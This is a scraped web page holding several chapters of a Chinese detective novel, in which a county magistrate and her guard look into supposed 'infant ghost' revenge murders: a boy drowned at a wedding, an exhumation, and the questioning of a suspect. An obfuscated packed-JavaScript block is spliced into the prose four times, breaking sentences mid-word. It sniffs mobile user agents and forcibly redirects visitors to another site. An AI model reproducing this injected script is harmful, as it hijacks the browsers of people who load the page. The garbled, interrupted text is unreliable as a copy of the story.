云水谣一连问了几天,那些百姓把能说的都说了,都有些不耐烦,催促云水谣快点让道士做法,做完法之后他们还要回家干活。 云水谣知道这些百姓都靠劳动吃饭,不能耽误他们的生计,便让景佑装模作样地登坛作法,安抚他们。 做法完成后,元景佑对他们说道:“贫道刚才已跟那些婴鬼沟通,她们同意不再作乱,但你们以后不得杀死女婴,不得虐待女儿以及妻子,否则女婴们还会回来的。” 百姓们纷纷叩头,表示自己不会再犯,然后便自行离去。 闹了这么大阵仗,给出去一堆赏银,可案子还是没破。云水谣心情失落,打算出去走走。 元景佑脱去道士的衣服,换上黑衣劲装,道:“大人,可要我随行?” “也好。” 她们骑马并辔,慢慢往城外去。 时间已是深冬,她们各穿了一件斗篷。一阵寒风袭来,云水谣有些发抖。 这时,元景佑将马骑得离云水谣近些,伸手替她把斗篷的帽子戴上。 帽子的边缘有许多白色的羊毛,十分蓬松,衬得云水谣的脸小小的,像是个白玉雕成的娃娃。 景佑忍不住赞道:“大人,您真可爱。” 云水谣笑道:“可爱?你觉得用这样的词来形容县官兼上级合适吗?” “大人,您终于笑了。” 云水谣觉得自己有些失态,赶紧收敛了笑容,但眼神中的笑意却并未散去,显得灵动清扬。 她们来到一处空旷的草地,云水谣道:“景佑,我们来赛马如何?谁输了谁请吃饭。” 说着,也不等景佑同意,云水谣率先策马奔腾,元景佑只得跟上。 他并不跟云水谣争胜,反而始终落后她几步,这样便能时刻关注她的安危。 跑了一阵,云水谣察觉到了景佑的谦让,有些不满:“你没尽全力。” “我的马大一些,真跑起来也是不公平的,就算大人赢了吧。” “那让我骑你的马。” “这可不成,这马性子烈,大人骑不了。” “我偏要骑,你下来。” 元景佑笑了笑,只得下马,让云水谣骑自己的乌骓马。 这匹马对云水谣来说确实有点高大了,她勉强支撑,好不容易坐稳了。只是,她却不敢跑起来,只能慢悠悠地前进。 元景佑骑了云水谣的马,仍旧落后几步跟着。 云水谣问道:“你这马是哪里来的?” “我父亲送的。” “你好像很少提到你父亲。” “似乎没什么好说的……我跟他不熟,不过他对我不错,送了我许多东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13907795|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西。父子之间,也不需要过多的言语,他知道我想回到大人身边,所以他送了我乌骓马,可以让我快点赶回来。” 云水谣深深地望了元景佑一眼,心中感动莫名。景佑的身份变了,可他们之间的相处模式没变。似乎还是像刚开始那样,景佑对她忠心耿耿,一心想着报恩。 云水谣问道:“你父亲应该希望你在家好好休养一阵吧,或是去外地做大官。” 景佑笑道:“您不了解我父亲。他是个重感情的人,他知道我也是。所以,他对我的期望,就是我可以按照自己想要的方式去生活。” “听起来,他是个好父亲。可惜他在感情方面太过天真,识人不明,被你母亲骗了这么久。” 景佑也有些感慨:“是啊,当年他对我母亲可是一见钟情,这么多年也没有侍妾通房之类的。可惜我母亲……罢了,不说了。父亲对我说,任何时候都要将智慧放在第一位,不要重蹈他的覆辙。” “智慧?要不要我传授你一点?” “乐意之至。” “可惜我没有,哈哈哈……” “大人何出此言?” “假如你有一天知道,我并没有表面上这么聪明,我能破案,有很多偶然的因素,不知你会如何看我?” “大人在景佑心目中,永远是聪慧善良的。就算借助偶然因素破案,那也是免不了的。谁能完全凭智慧断案呢?很多官员都是从生活中的蛛丝马迹中得到灵感,从而破案的。” 云水谣犹豫着要不要把自己能听见动物说话的事告诉景佑,但又打消了主意。她觉得现在还不是时候,也怕这事泄露出去,会对自己不利。所以,哪怕是景佑,她也守口如瓶。 这么一来,她就显得心事重重的。 一转头,景佑却不见了。 云水谣有些慌张,四处张望,见景佑从远处跑过来,手里还拿着什么东西。 云水谣问道:“你去哪里了?” “刚才我看见草丛里有野鸭蛋,就去摸了几个。” 景佑向她伸出手,手里有几个大鸭蛋。云水谣笑了,问:“你喜欢吃这个?” “以前行走江湖时,经常错过市镇,就要在野外找吃的。那时候我也常吃野鸭蛋,烤一下,可好吃了。” 说着,景佑便找了块石头,用树枝将其加热。等石头足够热时,他再把鸭蛋放上去,继续用火烤着。 云水谣正好有些饿了,眼巴巴地看着。 鸭蛋是寻常之物,只是她还没有亲自在野外吃过烤鸭蛋,不免有几分期待。 “景佑,好了吗?” “可能要再烤一会。现在吃会是溏心蛋。” “好极了,我就喜欢溏心蛋。” 云水谣要自己伸手去拿,景佑赶紧抓住她的手,拿起两根树枝,像使用筷子一样把鸭蛋夹起一个,放在清凉的河水中凉一凉,然后才放到云水谣手里。 云水谣的手一直被景佑握着,有一种奇异的感觉,很温暖,像是突然多了很多安全感。连景佑递给她的鸭蛋,她都没注意。 38.野鸭引路见别院 主人相交谈往事 元景佑赶紧放开她的手,道:“大人,快吃吧。方才恕我冒犯,我怕大人被烫着。” “我知道,不碍事。” 云水谣敲开了鸭蛋,小口小口地吃着,果然十分美味。 吃完一个,她又拿了一个,最后把所有鸭蛋都吃完了。她这才发现景佑没吃,有些不好意思:“要不我去找几个野鸭蛋来,这次我不跟你抢。” 景佑笑道:“没事,我不饿,也不馋。” 云水谣脸红了一下。她发现自己在景佑面前,总是没有长官的样子,像个小女孩似的。 这时,草丛里跑出几只野鸭,边走边交谈: “我的鸭蛋不见了,你们有看见吗?” “可能是被人拿走了。” “呜呜呜……我的鸭蛋……” “把鸭蛋生在河边太容易被拿走了,咱们去东边那座大房子里下蛋。那里面有人工湖,环境也很好,而且没人住。把蛋下在那里,就不怕被人拿了,还可以孵出小鸭子在那里面生活。” “真的吗?房子里怎么会没人住?” “我也不知道,我是听天鹅说的。那栋房子可漂亮了,它的主人一定是个有钱人,不知道为什么荒废了。走,我带你去看看。” 鸭子们往东边走去,云水谣也起了好奇之心,跟了上去。 如果东边真的有一栋废弃的大房子,且有许多动物在里面安家的话,说不定能发现更多野味。 元景佑不知道云水谣为何要跟着几只鸭子走,但他还是跟了上去。 他刚想问云水谣,云水谣把手指放在嘴边,做了个“嘘”的动作。 看着云水谣莹白修长的手指,元景佑有些心荡神驰。他赶紧收敛心神,不再说话。 大概走了两炷香的功夫,果然看见了一座气派的府邸。这府邸占地数亩,朱漆大门、红木走廊尽显奢华。 只是大门紧闭,还上了锁。 墙边有个狗洞,可容动物出入,那几只鸭子就从狗洞钻了进去。 云水谣本想进去看看,但看见大门上锁,觉得不能贸然闯入。如果此地主人真的放弃了这座房子,怎么会上锁? 景佑问道:“大人,您是认识这里的主人吗?” “不认识,我只是跟着那几只鸭子来的。既然进不去,咱们就走吧。” 这时,旁边突然响起一道甜美的声音:“你们是谁?为何在我家门口?” 云水谣回头一看,见一个身材娇小、身穿绿衣的年轻女子走了过来,身后还跟着一大群下人。 云水谣道:“原来这是你家,我和我的护卫在外闲逛,偶然间见到此处高大宏伟,便想来参观一二,没想到上了锁,正准备离去呢。” 那绿衣女子笑道:“原来如此,那随我进来吧。这里平时也没人来,我也是许久不曾回来了。” 绿衣女子吩咐仆从打开大门,带云水谣和元景佑进去。 见她如此热情随和,云水谣心中十分高兴,对这女子产生了许多好感。 在言谈中,她们互通了姓名,原来这绿衣女子叫柳依依,这座房子是她家的别院,只是因故封闭了许久。她已经半年没来了,这次回来是拿东西的,拿完也要离开了。 云水谣有些不好意思,道:“既然你这么匆忙,那我不便叨扰,先告辞了。” 柳依依赶紧说道:“倒也没那么匆忙,我这么多仆从,都是要休息和吃饭的。我让厨娘们先去做饭,咱们去临水宴会厅等着,好歹吃了饭再走。” 见柳依依盛情难却,云水谣也就不再多客气了,直接跟她来到了宴会厅。这宴会厅临水而建,可以看见正中央的人工湖和不远处的竹林、梅林,十分雅致。 只是这里的野生动物多了些,许多野鸭、天鹅跑来跑去,柳依依叫人驱赶,笑道:“还好带了这么多仆人回来,要不然我还真不知道怎么办。” 云水谣道:“你们一直不回来,想必是这些动物都在此处安家了。这里的景观虽是人力构建,却清新自然,颇有野趣,也难怪能吸引这么多野生动物。” “云姑娘谬赞了。” 过了一会,厨娘和侍女们端上来许多丰盛的菜肴,有些连云水谣都未曾见过。 柳依依笑道:“我回来得匆忙,饭菜简陋,还请云姑娘莫怪。” “不,已经很好了。” 云水谣一边吃着,一边欣赏美景,可谓是心旷神怡。只是她心里记挂着案情,始终没法静下心来赏景。 柳依依大概是跟云水谣投缘,聊了许多话。言谈中得知她是富商之女,已经出嫁到平州,这座宅子是她的私产,只是因故封闭了许久。 云水谣便问道:“为何封闭这座宅院?” 柳依依脸色有些发白,似乎不愿意多提。 云水谣觉得自己似乎问到了人家的禁忌,有些歉疚,赶紧说道:“若是不方便说,便不说了。” 柳依依屏退了下人,道:“其实也没什么不方便说的,只是想起往事,有些难受罢了。这件事压在我心底许久,不如便跟云姑娘聊聊,我心里也能轻松些。” 原来,半年前柳依依出嫁,因夫家较远,便在这座宅子里宴请娘家的亲朋好友,这样娘家亲戚便不用跟着她远去平州赴宴了。 本来席间挺热闹的,推杯换盏,宾主尽欢,可没想到却出事了。 柳依依的表弟被绑住手脚,嘴里塞着臭袜子,扔进水里溺亡了。 表弟溺亡的地方在后花园的一条小河,而宾客们都在前厅,所以他死了好一会才被发现。 当时,众位亲属都十分悲伤,表弟的父母嚷着要报官,并不许在场的所有人离开,因为凶手很可能就是在场众人之一。 这时,有个年长的亲戚忽然发出一声惨叫,对表弟的母亲柳氏说道:“你看你儿子的死法,不是跟十年前你女儿的死法一样吗?” 柳氏是柳依依的姑姑,她成亲后连生三个女儿,被人明里暗里讽刺没有儿子。她生到第四个女儿时,恼羞成怒,恨自己没用,恨女儿总是投胎到她家,她便把刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13909117|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出生的四女儿绑住手脚,嘴里塞上臭袜子,扔进了水里淹死。绑住手脚、塞住嘴巴是为了不让女婴挣扎,她从一开始就是非要女儿死不可。 四女儿死了,她才解气,将这个女婴草草掩埋。下一胎,她终于生了心心念念的儿子,就此扬眉吐气。 她早就忘了惨死的四女儿,直到这时被人提醒,她才惊觉,儿子的死法果真和四女儿一模一样。 柳氏一开始怀疑,一定是某个亲戚下的手,因为只有比较近的亲戚才知道她四女儿的死法。 可是宾客中有人说:“是婴鬼复仇……这一定是婴鬼复仇……” 当时,婴鬼复仇的传言已经在百姓中传开了,柳氏也听到过好几次,只是没有在意。没想到,发生在了她自己头上。 她想着婴鬼复仇的传言,越想越觉得像,也不报官了,只是跪地祈祷,向冤死的四女儿求饶。 看着她疯疯癫癫的样子,在场之人都是既惊骇,又伤感。 柳依依大喜的日子,本是十分高兴的,可没想到自己的表弟死于非命,喜事变成了悲剧。 她又想起姑姑家那个惨死的四表姐,是被姑姑亲手害死,可姑姑直到今日才后悔。而姑姑后悔,也是因为自己的儿子死了,不是出于对那女婴的愧疚。 柳依依心中百感交集,她既可怜今日死去的表弟,又同情十年前枉死的女婴,对于姑姑和姑父,她心中既有鄙夷、愤怒,又有几分怜悯,心情很复杂。 同时她还隐隐有个想法:世人皆认为成亲是喜事,可成亲之后便要生孩子,许多人生出女婴便不喜,有些极端的人甚至杀女婴,就像她姑姑这样。 一切的悲剧,都是从成亲开始的。那么,成亲到底是好事还是坏事?本来天真善良的姑娘,成亲后甚至会变成杀人犯。 这个问题太过沉重,柳依依想不出答案。她今日穿上嫁衣,嫁人已成定局,之前那些对婚后生活的期待、憧憬,纷纷化为泡影。世人需要女子生育,可生出女孩却又不喜,何其矛盾。 由于众人坚信此事系婴鬼复仇,也无人报官,众宾客也没心情继续吃,喜宴就此散了。 柳依依的表弟被运回本家祖坟安葬。 而柳依依因太过伤心,便封闭了这座宅院,不许人进去。自从她嫁人之后,还是头一次回来。 听柳依依说完,云水谣和景佑对视一眼,都十分惊讶。 又是一桩婴鬼杀人案! 云水谣知道此事必有猫腻,就跟之前的案件一样。她问柳依依:“你相信婴鬼杀人吗?” 柳依依想了想,道:“若是没发生我表弟的事,我是不信的。可是我表弟的死法,跟他惨死的四姐一模一样,由不得我不信。表弟虽然年纪小,但也学过几年拳脚功夫,而且人高马大的,比我还高,又有谁能不动声色地绑住他的手脚,将他扔进河里?除非是鬼。那个女婴死得太惨,回来复仇也无可厚非。” “我若说,此事必是人为,你信吗?” “云姑娘为何如此笃定?” 39.旧事重提增伤感 开棺验尸现疑云 “实不相瞒,我便是本县的县官。我虽到任不久,断案不多,但从小看过许多前人所写的断案集。像这种事涉幽冥的案子,往往是人为,只是我们还不知其作案手法而已。” 柳依依肃然起敬:“原来是县官大人,依依若有招待不周之处,请大人恕罪。实不相瞒,对于婴鬼复仇之事,我也不愿相信,可当时事实摆在眼前,且宾客们言辞凿凿,连我姑姑当时都半疯了。在那种情况下,由不得人不信。但如今大人既说是人为,依依相信大人的判断。” 柳依依毕竟是年轻人,更加理性。对于表弟意外死亡一事,她本就心存疑虑,如今见云水谣笃定的模样,柳依依心中也像是吃了定心丸一般。而且,云水谣县官的身份,也让柳依依多信任几分。 若是真能查出害死表弟的真凶,柳依依也便可以放下了。否则,这件事一直横亘在她心头,让她寝食难安。虽然表弟之死跟她没有关系,可毕竟是在她的婚宴上死亡的,她一直心怀愧疚。 对于姑姑家那个早死的女婴,她固然十分同情,可表弟也是无辜的,始作俑者是姑姑和姑父。 如果真如旁人所说,害死表弟的是他的姐姐,那柳依依心中不知是该为那个女婴感到痛快,还是为表弟感到悲伤了。 如今倒是不用纠结,相信云水谣便是。 见柳依依如此配合,云水谣心中大喜。她终于不用费心解释此案乃是人为,只需直接询问即可。 因此,云水谣问道:“你把你婚宴当天的情景,简单说一下。如果有你认为可疑的地方,重点说明。” “是。当天的午宴是午时开始,因此我起得较早,辰时二刻便叫了妆娘来帮我化妆、梳头。打扮完毕后,便有宾客陆续来了,我出去迎客。大约巳时二刻,姑姑一家来了,我让她们在客厅稍坐。表弟坐不住,我便让人带他到处闲逛。 “午时整,宴会开始,表弟也被下人带回来,就坐在我旁边,我还跟他说了几句话。我让他多吃点菜,可他吃了点凉菜就又跑了。姑姑说别理他,他从不肯好好吃席,我也就随他去了。 “没想到,又过了一会,也就是午时二刻左右,突然有下人慌慌张张地跑来,说是我表弟在后花园溺水而亡。我们赶紧跑到后花园,见到表弟的尸体已经被打捞上来,他双手双脚被绳子绑住,嘴里塞了臭袜子,眼睛突出,死不瞑目。 “当时,众人都吓坏了,姑姑说要报官,不许在场的任何人离开。后来有人提起可能是婴鬼杀人,姑姑开始跪地祷告,疯疯癫癫。见此情景,酒席自然不能继续,我遣散了众宾客,给他们致歉,只留下姑姑一家,商议后事如何处理。 “我爹娘提议,既然是婴鬼复仇,应该按照其他受害百姓的做法,给女婴设祭坛,超度冤魂,请求原谅,并且不能声张,否则会遭到更为严重的报复。至于表弟,应该赶紧下葬,入土为安。 “当时姑姑已经失去理智,只有姑父还勉强支撑。姑父采纳了我爹娘的建议,先将表弟的尸体带回家安葬,然后请了和尚、道士超度那个死去的女婴。后来就没再发生什么。” 柳依依说完后,云水谣想了想,问道:“当时有什么可疑之处吗?或者你有怀疑的对象吗?” 柳依依摇头:“当时到场的宾客有几百人,光是酒席就摆了八十多桌,我只顾着招呼宾客,根本没有注意太多细节。而且,当时宴请的都是亲朋好友,没有人跟我姑姑一家有过节的。” “当时的宾客都有些什么人?有没有你不认识的?” “我只有一半认识的,其余的是我父母请来的,我不太认识。” 宾客太多,难以确定怀疑对象。而且,如果凶手一定要杀死柳依依的表弟,为何要选择在如此热闹的场合动手?在她表弟在家时下手岂不是更方便? 喜宴上这么多人,下人也有不少,一旦下手,被人看见的可能性很大。他究竟是如何躲过这么多耳目的? 云水谣道:“要不这样,你干脆把当时赴宴的宾客名单给我一份,我看看有什么可疑之人。” “好,名单倒是还有,我命人找找。” 柳依依命人去寻找宾客名单,过不多时,终于找到了。宾客名单足有好几页,大约有五六百人。 这么多人,恐怕是难以一一盘问的,会花费大量的人力和时间。 云水谣觉得犯难。 景佑提醒道:“大人,其实我们可以不用一一盘问,只需贴出告示,命那些参加过柳依依婚宴的宾客,各自回忆宴席上的可疑之处,上报官府。如有提供有效线索者,可领取赏银。这样,不需要我们去找他们,他们自会来找我们。而那些没有回想起可疑之处的宾客,自然不会来到官府,咱们也可以节省跟那些人沟通的时间。” 云水谣点头:“景佑,你真聪明。” 接着,云水谣一边看这些宾客名单,一边随口问道:“依依,所有宾客的名字都在上面了吗?” 柳依依想了想,道:“哦,还有一人没有写上去,就是那天为我化妆的妆娘。因那天是我的喜宴,我便留下妆娘一起吃饭了。这名单上所记载的,都是发出过请柬的宾客,所以记录在册。邀请妆娘是我当天临时起意,所以没有写上去。” “哦,那个妆娘是谁?住在哪里?” “她叫吴……吴芷秀,住在哪里我不清楚,是我娘为我请来的。” “吴芷秀?” 云水谣觉得好像在哪听过这个名字。 元景佑提醒道:“大人,之前我们去孙府时,为白姨娘化妆、后来为她作证的妆娘,也是吴芷秀。” “原来是她……这位吴妆娘很有名吗?” 柳依依道:“是的,她的化妆手法有许多新奇之处,据说她学习过西域人的化妆手法,与中原的化妆手法相结合,独创了她自己的化妆方式,与众不同,所以很多富户都喜欢请她。” “原来如此。对了,你表弟叫什么名字?事发时几岁?长什么模样?” “我表弟叫赵檀,事发时九岁,当时已有六尺多高,身材壮硕,长得圆头圆脸。这座宅院中有他的画像,我叫人取来给大人看。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13924088|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “也好。” 赵檀已死,现在看他的画像其实也没有多大的意义,不过了解下也是可以的。 云水谣问道:“当时你表弟的尸身有什么特征?” 柳依依道:“表弟死状凄惨,我不敢多看,因此不记得有何特征。” “没有请仵作验尸吗?” “没有,当时众人都坚信是婴鬼复仇,因此不敢闹大,姑姑和姑父匆匆将表弟下葬。” “你可知葬在何处?本官想去验尸。” “葬在赵家祖坟,我知道地点,可带大人前去。只是姑姑和姑父经此一事后过于伤心,已经举家搬迁,祖坟只有几个老仆看守。” “无妨,本官要开棺验尸,也属于正常查案,他们不在不打紧。” 吃好午饭,柳依依便带云水谣和元景佑前去赵家墓地。元景佑会验尸,因此也不必回县衙找仵作,倒也方便。 柳依依不会骑马,云水谣想让她坐马车,柳依依道:“大人,坐马车不如骑马快,不如我坐在大人身后,抓紧大人便是。我来指路,很快就能到赵家祖坟了。这样也不耽误大人的事。” 云水谣道:“你若不害怕,自然可以。” “大人放心,民女不害怕。我母亲会骑马,我经常坐在她身后,习惯了。” 云水谣点点头,便拉着柳依依上马。她抓紧了云水谣的腰,然后给云水谣指路。 大约半个时辰后,便到了赵家祖坟。 几个守坟的老仆人见了柳依依,迎上来道:“表小姐怎么来了?” 柳依依道:“这位是县令大人,来为表弟开棺验尸。你们帮忙把表弟的棺椁挖出来。” 仆人们有些犹豫,道:“表小姐,这可使不得啊。叫官府插手,触怒了婴鬼,会遇到更大的厄运啊。” “怪力乱神,不足为信。表弟是被人害死,只有官府能查明真相。若是姑姑和姑父怪罪,我一力承担。” 见此情景,仆人们不敢再拒绝,只得动手挖出棺椁。 打开棺材,里面的尸身保存得还算完好,并未白骨化,还有一些香味。想来是赵檀的父母给尸身用了防腐的香料和棺木,以免尸身腐烂。 这倒是方便验尸了。 景佑戴上面罩,仔细查验。 过了一会,景佑说道:“大人,有所发现。” “什么发现?” “尸体的手腕和脚踝处均有捆绑痕迹,但痕迹不重,可以判断出捆绑死者的绳子并不是很紧。凶手似乎并不怕赵檀会挣脱绳索。而且赵檀肺部的积水很少,可以判断出,赵檀是在昏迷的状态下被扔下水的,所以凶手不需要把他绑得很紧,也知道他没法挣扎。” “原来是这样……那这孩子是为何昏迷的?他头上或脖子上可有撞击痕迹?” “没有,看不出来凶手是用什么手段使其昏迷的。” “这倒是跟孙家那两个孩子有相似之处……” 柳依依问道:“大人,您在说什么?莫非其他人家也有类似的死者?” 40.宾客存心密告 老板巧言辩解 “实不相瞒,洛县境内,像这种婴鬼杀人案一共有三十一起,算上你表弟的案子,一共是三十二起,还不知道是否有人未曾报官。之前我张贴告示,统计这类案子,你因不在洛县,没有赶上,所以不知。” “原来如此……这些案子若真是人为,此人一定很可怕……只是,他若是求财,为何不绑架我表弟,向我姑姑索要财物,而是直接将他杀了呢?” “据本官初步分析,这个凶手应该不是求财,而是单纯想杀人。” “那可真够丧心病狂的……” “对了,依依,你表弟性格如何?是否曾得罪过什么人?” “表弟性格有些顽皮,但不至于闯出大祸,得罪别人,应该也无人会恨他恨到要杀死他才是。” “嗯。看来这背后的原因,比我们想的要复杂许多。” “大人,请您一定要找出杀害我表弟的凶手。若有需要民女帮忙之处,民女一定尽力。” “你放心,本官会竭尽全力。本官现在回县衙,张贴告示,说要重审赵檀被杀一案。如果有当时的宾客有什么重要线索,都可以来县衙说明,领取赏银。” “多谢大人。这赏银就由民女来出吧。” “不用,官府有办案所需的经费。” “不,民女家资富饶,可以提供更多赏银,这样说不定能引来更多知情人士。这段时间,民女会居住在别院内,暂时不回夫家,大人若有事,直接来找民女便可。” “也好。” 云水谣和元景佑回了县衙,吩咐小吏写好告示,张贴出去。有提供线索者,每人赏五两银子。若有重大线索,可领赏银五十两。 柳依依派人送来五百两银子,说不够再去她家领。 在重赏之下,还真有宾客前来官府。 来的是个小吏的夫人,她对云水谣道:“大人,我也参加过柳依依的婚宴。当时坐在我旁边的是泰记丝行的老板鲁丹娘。在宴席刚开始的时候,她就离席了,直到午时二刻左右才回来,神情有些慌张。 “我问她干什么去了,她说去茅房,我也没有起疑。她回来没多久,柳府的下人就慌慌张张地跑到宴会厅,说柳依依的表弟赵檀死了。当时大家都跑到后花园看尸体,有人说是婴鬼复仇,于是我们都吓得回家了。如今想来,那个泰记丝行的老板娘鲁丹娘很有问题。她离开的时间,刚好是那小男孩赵檀死亡的时间。而且,还有个细节也可以佐证。” 云水谣问道:“什么细节?” “鲁丹娘回来的时候,我无意间踩了她的鞋,她的脚露了出来,我发现她没穿袜子。那小男孩赵檀口中,不是塞着一双袜子吗?” 云水谣惊得站了起来:“当真?” “我可以确定她回来时确实没穿袜子,但我当时以为她从一开始就没穿,所以也没有起疑。现在回想起来,她很有可能是把自己的袜子脱了,塞进那小孩嘴里。” 云水谣想了想,道:“可是她为什么要杀那小男孩呢?” 小吏夫人道:“大人,我猜可能是为了报复。” “哦?这话从何说起?” “我跟鲁丹娘,还有死者赵檀的母亲柳氏,都是互相认识的,也一起打过好几次牌九。有一次,柳氏说起儿女之事,说自己幸亏生了儿子赵檀,现在人生圆满了。她让鲁丹娘也抓紧生个儿子,可鲁丹娘说自己已经失去生育能力了。当时柳氏的表情,似乎有些幸灾乐祸。而鲁丹娘的表情,则是有些羞愤。 “我想,我见到的虽然就这一次,但之后柳氏是否还因为儿女之事嘲讽过鲁丹娘,我就不知道了。但即便只有这一次,也足够鲁丹娘记恨柳氏了。鲁丹娘心里怀恨,杀死了柳氏唯一的儿子赵檀也是有可能的。” 云水谣沉思片刻,道:“因为这点小事就要杀人吗?” 小吏之妻道:“我觉得这可能是理由,但也许有别的理由。当然,这一切都要建立在鲁丹娘是凶手的前提下。如果她不是,那这些都不成立了。依我的愚见,凶手是鲁丹娘的可能性很大。 “鲁丹娘生了两个女儿,生第二个女儿时大出血,因此失去了生育能力,这辈子都不可能有儿子了。如果别人不戳她伤疤还好,一戳她伤疤,她因此而杀人,让柳氏痛苦一生,也有可能。” 云水谣问道:“你跟鲁丹娘很熟吗?她的性格是什么样的?” “不算熟悉。她是做生意的,平时都挂着一张笑脸,说话左右逢源,捧着别人,基本上不会得罪人。只有在柳氏嘲笑她不会有儿子那回,我见过鲁丹娘表情失控。其他时候,她情绪都挺稳定的。所以我才判断,柳氏的嘲笑对她的影响挺大的。其实我跟鲁丹娘见面次数也不多,对她的了解仅停留在表面。她到底有没有心狠手辣的一面,我也说不好。” 云水谣分析道:“即便鲁丹娘有杀人动机,可她是如何杀死赵檀的?赵檀体型很壮,鲁丹娘一个女子,未必能抓住他,还捆住他的手脚。而且,根据验尸结果,赵檀是在昏迷状态下入水的。” “鲁丹娘除了开着一家生丝铺子外,还有一间香料铺子。她精通调香,调制出迷香也不是难事,也许她是用迷香迷晕赵檀的。” “看来,得传唤鲁丹娘审讯一下。” 小吏之妻道:“大人,我可否回避?我不想让鲁丹娘知道是我说出她来的。” “你这会可以回避,但若将来需要指证她是凶手,你还是要出席公堂的。” “这……好吧,能躲一时是一时。” 云水谣看着她这副又想要赏银又怂的样子,不禁摇了摇头。 她先给了那小吏之妻五两银子,道:“若证实鲁丹娘是真凶,会补齐五十两银子给你。” “多谢大人。” 小吏之妻走后,云水谣让衙役去传唤泰记丝行的老板鲁丹娘。 不多时,鲁丹娘便到了,是个身材高挑、眉眼活泛、穿得很有品味的女子。 她对云水谣磕头道:“县令大人,不知唤小民有何事?” 云水谣问道:“你参加过柳依依的婚宴吗?” “回大人,是的。” “那次婚宴上,有个小男孩死了,你还记得吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13935972|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 鲁丹娘回忆着当时的情形,有些害怕,道:“记得,死的是新娘的表弟,喜宴变成了丧事,实在可怕……” “死者死亡的时候,也就是午时整到午时二刻,你在哪里?” “这……小民在茅房。” “可有人能证明?” “茅房都是单独一间的,并无人看见。” “你去的是柳府后花园的茅房?” “是。” “宾客席附近没有茅厕吗?你为何要走那么远的路?” “我……我当时没注意宾客席附近是否有茅厕,因为也不是很急,便想走远一些再上茅房,便走到了后花园。” “后花园的茅房在何处?” “在……在东北角。” “你胡说,东北角并没有茅房。” 因云水谣也在柳府的后花园上过茅厕,所以知道茅厕不在东北角。 鲁丹娘有些慌张,赶紧辩解:“大人,是小民记错了,茅房的具体位置我已经记不清了,只因婚宴距离现在已有半年,很多记忆都模糊了。” “鲁丹娘,其实你根本不是去茅房,而是见赵檀离席,便跟踪他。赵檀去了后花园玩耍,你便将他溺死,还做成是婴鬼复仇的模样,对吗?” 鲁丹娘睁大了眼睛,脸上全是冤屈的神色,道:“大人,不是的!民女不曾杀人,也没注意赵檀在哪里!” “婚宴那天,有人注意到你回到宴席上后没穿袜子,是怎么回事?” “是因为……我一开始就不曾穿。” “你是个很懂人情世故的老板,参加别人的婚宴为何连袜子也忘了穿?” “因为……当天我起晚了,穿衣服的时候有些匆忙,便忘了穿袜子。” 见鲁丹娘否认,云水谣换了个问法:“赵檀的母亲柳氏,曾经嘲笑过你不能生育儿子,你心中记恨,有这回事吗?” “大人,这事您是从何处听说?” “你不用管这些,只需回答有没有。” “是……有一次我跟柳氏推牌九,她跟我说,让我早点生个儿子。我说我生二女儿时大出血,已经失去了生育能力。她当时的表情有些幸灾乐祸,我心里很愤怒。后来见面时,她又时不时地提起生儿育女之事,似乎在故意揭我疮疤,所以我心中对她是有些意见。 “但是,我也不至于因此杀了她的儿子啊。我手里有两家店,开得好好的,挺挣钱的,家庭也和睦,唯一美中不足的就是没有儿子。如果我因为一点小小的过节成了杀人犯,那我现在的幸福生活都没了。杀人之后,就算伪造得再好,也总有被发现的一天。我为何要冒这么大的风险呢?忍一时之气,好好地开店、抚养女儿不好吗?我若是个不能忍气吞声的,怎么可能开店这么多年?我们开店的,什么牛鬼蛇神都见过,柳氏这点小小的讽刺,对我来说根本不算什么。 “再者,我若要杀她的儿子,不会在婚宴这种热闹的场合动手,肯定选择在一个风平浪静的日子,在她儿子一个人出去玩时下手。婚宴那么多人,被发现的几率是很大的。” 41.鲁丹娘偷窃情可原 吴芷秀收监心自定 鲁丹娘说的也有道理。她是个成功的女商人,犯不上为了几句言语上的过节,便做出杀人之事。 她果然头脑清晰,反应灵敏,寥寥数语,便大大减少了自己的嫌疑。 